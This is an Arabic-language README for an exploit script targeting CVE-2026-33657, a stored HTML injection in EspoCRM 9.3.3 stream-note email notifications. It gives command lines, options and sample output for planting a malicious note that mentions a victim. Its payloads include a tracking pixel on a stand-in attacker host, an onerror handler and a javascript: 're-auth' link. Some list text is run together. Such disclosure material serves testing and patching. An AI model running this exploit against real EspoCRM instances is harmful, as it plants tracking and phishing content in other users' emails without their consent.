
# EspoCRM 9.3.3 - حقن HTML مخزّن في إشعارات البريد الإلكتروني
إثبات مفهوم موثّق لحقن HTML مخزّن في إشعارات البريد الإلكتروني في EspoCRM 9.3.3.
يقوم EspoCRM 9.3.3 بعرض رسائل البريد الإلكتروني الخاصة بإشعارات تدفق النشاط (stream-note) عن طريق تحويل نص الملاحظة باستخدام Markdown وإدراج HTML الناتج في قوالب البريد الإلكتروني باستخدام الأقواس الثلاثية ({{{post}}}). يمكن للمستخدم الموثّق الذي يمكنه إنشاء منشور في التدفق وتشغيل إشعار تخزين HTML يتحكم فيه المهاجم والذي يتم عرضه لاحقًا في نص البريد الإلكتروني المُنشأ.
يقوم الاستغلال بتنفيذ الجزء البعيد الذي يتحكم فيه المهاجم من العملية:
/api/v1/App/user.Note خبيثة تحتوي على HTML.--mention أو --target-user-id لوضع هدف الإشعار في قائمة الانتظار.يحدث تسليم البريد الإلكتروني عندما تقوم وظيفة SendEmailNotifications العادية في EspoCRM أو cron بمعالجة الإشعار في قائمة الانتظار.
requestsNote في التدفق--mention <username> لإشعارات البريد الإلكتروني بالذكر، أو--target-user-id <id> لإشعارات منشورات التدفق المستهدفةتثبيت التبعية:
python3 -m pip install requests
المسار المفضل القائم على الذكر:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
استخدام عنوان تتبع مخصص:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
استخدام حمولة HTML مخصصة بالكامل:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
استهداف معرف مستخدم محدد بدلاً من الذكر:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
بصمة الإصدار فقط، دون إنشاء ملاحظة:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url عنوان EspoCRM الأساسي
-U, --username اسم مستخدم EspoCRM
-P, --password كلمة مرور EspoCRM
--mention اسم المستخدم للذكر، بدون @
--target-user-id معرف المستخدم لإشعارات منشورات التدفق المستهدفة
--target-user-name الاسم المعروض لـ --target-user-id
--payload حمولة HTML الخام لتخزينها في الملاحظة
--tracking-url عنوان بكسل التتبع المستخدم في الحمولة الافتراضية
--link-url عنوان الرابط المستخدم في الحمولة الافتراضية
--marker نص العلامة المُضاف قبل الحمولة
--detect-only بصمة الإصدار فقط؛ لا تنشئ ملاحظة
--skip-version-check تخطي /api/v1/App/user قبل الاستغلال
--force المتابعة حتى لو لم تكن بصمة الإصدار 9.3.3
--insecure تعطيل التحقق من شهادة TLS
يقوم التشغيل الناجح بإنشاء ملاحظة خبيثة وتأكيد هدف الإشعار:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
على مثيل متأثر، يحافظ نص البريد الإلكتروني HTML المُنشأ على HTML المحقون. تبدو لقطة مختبرية كما يلي:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
في مختبر EspoCRM محلي، بعد تشغيل الاستغلال، قم بتشغيل وظيفة الإشعار:
sudo -u www-data php command.php run-job SendEmailNotifications
يجب أن يحتوي نص البريد الإلكتروني الناتج على HTML المحقون في جزء text/html.
@@version، فمن المحتمل أن يكون الهدف بناءً من شجرة المصدر. يستمر السكربت لأن الكود الأساسي قد لا يزال هو علامة 9.3.3 المتأثرة.--mention ذكرًا محللًا، تحقق من messagePermission و mentionPermission للمهاجم، وتأكد من أن اسم المستخدم الهدف موجود ويمكنه استلام الإشعارات.